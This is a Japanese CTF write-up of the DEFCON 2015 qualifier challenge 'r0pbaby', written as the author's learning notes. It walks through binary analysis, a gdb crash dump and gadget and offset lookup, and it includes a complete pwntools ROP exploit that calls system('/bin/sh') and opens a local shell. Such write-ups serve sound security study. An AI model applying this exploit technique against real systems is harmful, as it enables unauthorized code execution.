DEFCON Qualifier 2015: r0pbaby
はじめに
こつこつbataさんリスト埋めます。
pwn challenges list - Pastebin.com
ローカルで解けたのでメモ。
配布
このリストから問題のバイナリとか頂いてます。
$ file
$ file r0pbaby r0pbaby: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped
strippedって見ると条件反射的にうわぁ…ってなっちゃうの克服したい。64bitバイナリです。
$checksec
$ checksec r0pbaby [*] '/home/ubuntu/writeup/bata/baby/r0pbaby/r0pbaby' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
NXbitが有効になっているのと名前からROP問題だろうと推測できる。PIEが有効なので直接バイナリ読むってのも違いそう。
実行してみる。
1を選択するとlibcのベースアドレスが(?)、2を選択すると任意のlibc内の関数のアドレスが与えられる。 3を選択して適当に10文字とかで入力を入れると落ちた。ので、gdbで何が起こってるのか見てみる。
$ ./r0pbaby Welcome to an easy Return Oriented Programming challenge... Menu: 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : 2 Enter symbol: system Symbol system: 0x00007FFFF7857590 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : 3 Enter bytes to send (max 1024): 32 AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : Bad choice. # この後Segmentation Faultで落ちる
gdbで動いてるプロセスにアタッチしてやると、以下のような出力を得た。
最近知ったんだけど、strippedなバイナリで入力処理とかしてるのは動いてるプロセスにアタッチするといい感じのとこで始まるので良いなと思った。
Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x7ffff78fc710 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001) RDX: 0x7ffff7bd19e0 --> 0x0 RSI: 0x7ffff7bd0483 --> 0xbd19e0000000000a RDI: 0x1 RBP: 0x4141414141414141 (b'AAAAAAAA') RSP: 0x7fffffffdf98 ("BBBBBBBBCCCCCCC"...) RIP: 0x555555554eb3 (ret) R8 : 0x7ffff7bd19e0 --> 0x0 R9 : 0x555555554fbb --> 0x732064614200203a R10: 0x7ffff7fd4740 (0x00007ffff7fd4740) R11: 0x246 R12: 0x555555554a60 (xor ebp,ebp) R13: 0x7fffffffe070 --> 0x1 R14: 0x0 R15: 0x0 [-------------------------------------code-------------------------------------] 0x555555554eae: pop r14 0x555555554eb0: pop r15 0x555555554eb2: pop rbp => 0x555555554eb3: ret 0x555555554eb4: nop WORD PTR cs:[rax+rax*1+0x0] 0x555555554ebe: xchg ax,ax 0x555555554ec0: push r15 0x555555554ec2: mov r15d,edi [------------------------------------stack-------------------------------------] 00:0000| rsp 0x7fffffffdf98 ("BBBBBBBBCCCCCCC"...) 01:0008| 0x7fffffffdfa0 ("CCCCCCCCDDDDDDD"...) 02:0016| 0x7fffffffdfa8 ("DDDDDDDD") 03:0024| 0x7fffffffdfb0 --> 0x100000000 04:0032| 0x7fffffffdfb8 --> 0x555555554c46 (push rbp) 05:0040| 0x7fffffffdfc0 --> 0x0 06:0048| 0x7fffffffdfc8 --> 0x4eadd4ca677d9d9e 07:0056| 0x7fffffffdfd0 --> 0x555555554a60 (xor ebp,ebp) [------------------------------------------------------------------------------] Legend: stack, code, data, heap, rodata, value Stopped reason: SIGSEGV 0x0000555555554eb3 in ?? () gdb-peda$
見てみると、ret
命令でリターンアドレスを読み込もうとしてるが、rsp
には先ほど入力したBBBB....
という文字列のアドレスが指されているため、落ちたのだろうとわかる。
じゃあ、これを利用してlibc内のsystem関数を呼んであげればいいのか〜〜〜〜
ん??でも引数ってどうするんだ…?? これまで解いてきたのはスタックに引数が積まれて、間にパディングを挟んで呼び出したから行けたけど、今回は。。。???
ってなったところでひとしきり悩んで、わからなかったのでwriteup参考にした。
見てみると、rdiに第一引数が格納されるので、libc内からpop rdi; ret;
の命令を持つガジェットを探して、ROPチェーンを組めばいいらしい。
そういえば、リバースエンジニアリングバイブルにも書いてあった気がする。(現在手元にないので確認できない。)
これはx64のバイナリに共通なのだろうか..??リバースエンジニアリングバイブルは中盤からC++のアセンブリの説明だったので、これがC++で書かれてるのかそれとも第1引数がrdiに格納されるのがx64共通なのか、、、
記事書きながら調べてみると、64bitの場合、引数はedi、esi、edx、ecx、r8d、r9d、(rsp)となる。つまり、64bitで任意の関数を実行するには対応したレジスタに引数を入れるように仕向けないといけないってことか….
それにしても、popret使うROP問題はハリネズミ本以来で不安…… あまり具体的にイメージができていない気もするし。
exploit
作っていくpayloadは、
<padding><pop rdi;ret;><bin/sh/><system>
という感じ。
使ってるlibcは
$ ldd r0pbaby linux-vdso.so.1 => (0x00007ffff7ffd000) libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ffff7bd3000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff780e000) /lib64/ld-linux-x86-64.so.2 (0x0000555555554000)
から、
$ strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep sh$ 17c8c3 /bin/sh $ rp-lin-x64 -f /lib/x86_64-linux-gnu/libc.so.6 -r 1 | grep 'pop rdi' 0x00022b9a: pop rdi ; ret ; (1 found) $ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep system 0000000000046590 W system
なお、1を選択して得られたlibc addressとかいう奴と、2を選択して得られたsystemアドレスから計算したlibcのベースアドレスが違った。うまく動いたのは、systemのアドレスからオフセット計算した時だった。 これは、どういうことなんだろう….??1で得られるアドレスが何のアドレスなのかわかってない。
まぁ、必要な値は揃ったので、以下のようなスクリプトを書いて実行した。
from pwn import * import sys import time def bp(): raw_input("break point: ") r = remote('127.0.0.1', 4000) # ========get elf base=========== r.recvuntil('4) Exit\n: ') print '========= get libc base ===========' r.sendline('1') # len('libc.so.6: ') = 11 # len('libc.so.6: 0x00007ffff7ff79b0') = 29 libc_base = int(r.recvline()[11:29], 16) print 'libc_base = {}'.format(hex(libc_base)) time.sleep(1) r.recvuntil('4) Exit\n: ') print '========= get libc_system addr ===========' r.sendline('2') r.recvuntil('Enter symbol: ') r.sendline('system') # Symbol system: libc_system = int(r.recvline()[15:33], 16) print 'libc_system = {}'.format(hex(libc_system)) r.recvuntil('4) Exit\n: ') print "======== exploit ========" r.sendline('3') r.recvuntil('(max 1024): ') r.sendline('32') popret_offset = 0x00022b9a binsh_offset = 0x17c8c3 system_offset = 0x46590 libc_base = libc_system - system_offset popret = libc_base + popret_offset bin_sh = libc_base + binsh_offset # rop buffer # <pop rdi><bin/sh/><system> #r.recvuntil('4) Exit\n: ') print "popret: {popret}\nbinsh: {binsh}\nlibc_system: {system}".format( popret=hex(popret),binsh=hex(bin_sh),system=hex(libc_system)) rop = ''.join([ 'A'*8, p64(popret), p64(bin_sh), p64(libc_system)]) print "buf: {}".format(rop) r.sendline(rop) r.interactive()
これでシェルが取れた。
$ python exploit.py [+] Opening connection to 127.0.0.1 on port 4000: Done ========= get libc base =========== libc_base = 0x7ffff7ff79b0 ========= get libc_system addr =========== libc_system = 0x7ffff7857590 ======== exploit======== popret: 0x7ffff7833b9a binsh: 0x7ffff798d8c3 libc_system: 0x7ffff7857590 buf: AAAAAAAA\x9a;\x83÷ÿ\x00ÃØ\x98÷ÿ\x00\x90u\x85÷ÿ\x00 [*] Switching to interactive mode $ whoami ubuntu $
感想
popret gadgetを使ってみて、ROPのpopretの命令でやってることがより具体的にイメージがついたように思う。 babyになれるように精進します。
あと、libcのアドレスがどこのアドレスなのか教えてもらえると助かります。(libc内検索してみたんだけど、それっぽいのが見つからなかった)
参考
NetAgent Official Blog : 64ビット環境におけるリバースエンジニアリング
Assembly Programming on x86-64 Linux (04)
Syscall Number for x86-64 linux (A)
参考サイトとか見てみるんですが、検索能力が低いのかブログにあたるばかりで公式の(?)ページが見つからないんですよね… 2次ソースばかりを参考としているのでちゃんとしたソースを見つけられるようにもなりたい….